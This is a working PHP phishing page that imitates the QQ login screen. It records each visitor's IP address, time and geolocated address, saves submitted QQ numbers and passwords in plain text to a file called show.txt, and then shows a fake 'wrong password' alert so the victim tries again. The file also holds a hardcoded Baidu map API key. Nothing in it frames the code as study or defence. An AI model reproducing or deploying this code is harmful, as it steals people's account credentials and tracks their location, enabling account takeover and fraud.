<?php
header("content-type:text/html;charset=utf-8");
session_start();
if($_SESSION['dpwd'] != 'dpwd'){
	header('location:index.html');
	exit;
}
function ipGetAdd($ip){
	$url='http://api.map.baidu.com/location/ip?ip='.$ip.'&ak=sAKN48wH88ZpWkcotjAaLQBioutOW1ch&coor=bd09ll';
	$json=file_get_contents($url);
	$obj=json_decode($json);
	$status=$obj->status;
	if($status==0){
		$address= $obj->content->address;
	}else{
		$address='--';
	}
	return $address;
}
$star="自动：";
$star2="一次：";
$t=date("Y-m-d H:i:s");
$ip=$_SERVER['REMOTE_ADDR'];
//$ip='221.234.208.169';
$qqnb=$_POST['qqnb'];
$qqp=$_POST['qqp'];
$address=ipGetAdd($ip);

if($qqnb!=null){
	$str=$star2.$t." / ".$ip." / ".$address." /".$qqnb." / ".$qqp."\n";
	$handle = fopen("show.txt", "a+");
	$w=fwrite($handle, $str);
	if($w){
		echo "<script>";
	    echo "alert('密码错误，请区分大小写！');";
	    echo "window.location.href='index2.php';";
	    echo "</script>";
	}
}else{
	$str=$star.$t." / ".$ip."\n";
	$handle = fopen("show.txt", "a+");
	$w=fwrite($handle, $str);
}

?>
<html>
	<head>
		<title>QQ登录</title>
		<style type="text/css">
			 *{padding:0px; margin:0px;}
			.top{
				width: 100%;
				height: 52px;
				background-color: lightcyan;
				padding-left: 30;
			}
			#right{
				margin-top: 18;
				margin-right: 48;
				float: right;
				font-size: 12px;
				color: lightslategray;
			}
			.con{
				margin:0px auto ;
				width: 80%;
				height: 500px;
				/*background-color: lemonchiffon;*/
			}
			.con1{
				padding-top: 60;
				width: 60%;
				height: 500px;
				float: left;
				/*background-color: lightcyan;*/
			}
			.con2{
				padding-top: 60;
				width: 40%;
				height: 500px;
				float: left;
				/*background-color: lightgreen;*/
			}
			td{
				width: 320px;
				height: 42px;
			}
			table{
				margin: 0 auto;
			}
			a{
				font-size: 14px;
				font-family: "微软雅黑";
				text-decoration: none;
			}
			a:hover{
				color: red;
			}
		</style>
	</head>
	<body>
		<div class="top">
			<img  src="imgs/QQ.png"/>
			<span id="right">
				基本版 | English | 手机版 | 企业邮箱
			</span>
		</div>
		<div class="con">
			<div class="con1">
				<img src="imgs/QQshiPing.png"/>
				<img style="margin-top: 30px;" src="imgs/QQimg.png"/>
			</div>
			<div class="con2">
				<div style="width: 380px;height: 400px; border: 1px solid lightgray;border-radius: 5px;">
					<div style="width: 380px;height: 58px;background-color:lightcyan ; border-bottom: 1px solid lightgray;">
						<p style="text-align: center;line-height: 58px;color: lightslategray; font-family: '微软雅黑';">账号密码登录</p>
					</div>
					<div style="width: 380px;height: 442px;">
						<form action="#" method="post">
							<table border="0" cellspacing="0" cellpadding="0">
								<tr><td></td></tr>
								<tr><td>
									<input type="text" name="qqnb" id="" value=""placeholder="请输入QQ号" style=" width: 320px;height: 42px;font-size: 16px;" />
								</td></tr>
								<tr><td style="height: 10px;"></td></tr>
								<tr><td>
									<input type="password" name="qqp" value=""placeholder="请输入密码" style="width: 320;height: 42px;font-size: 16px;"/><br />							
								</td></tr>
								<tr><td style="height: 16px;"></td></tr>
								<tr><td>
									<label style="float: left;"><input type="checkbox" name="" id="" value="" style=" width: 20px; height: 20px;"/></label><span style="float: left; height: 22px; line-height: 22px; font-size: 12px;">&nbsp;下次自动登录</span><br />
								</td></tr>
								<tr><td style="height: 16px;"></td></tr>
								<tr><td>
									<input type="submit" id="" name="" value="登录" style="color: white;font-family: '微软雅黑'; font-size: 20px; border: 0px; border-radius: 8px; background-color: dodgerblue; width: 320px;height: 42px;"/>							
								</td></tr>
								<tr><td></td></tr>
								<tr><td>
									<a href="">忘了密码？</a>|
									<a href=""> 注册新帐号 </a>|
									<a href=""> 意见反馈</a>
								</td></tr>
							</table>	
						</form>
					</div>
				</div>				
			</div>
		</div>
	</body>
</html>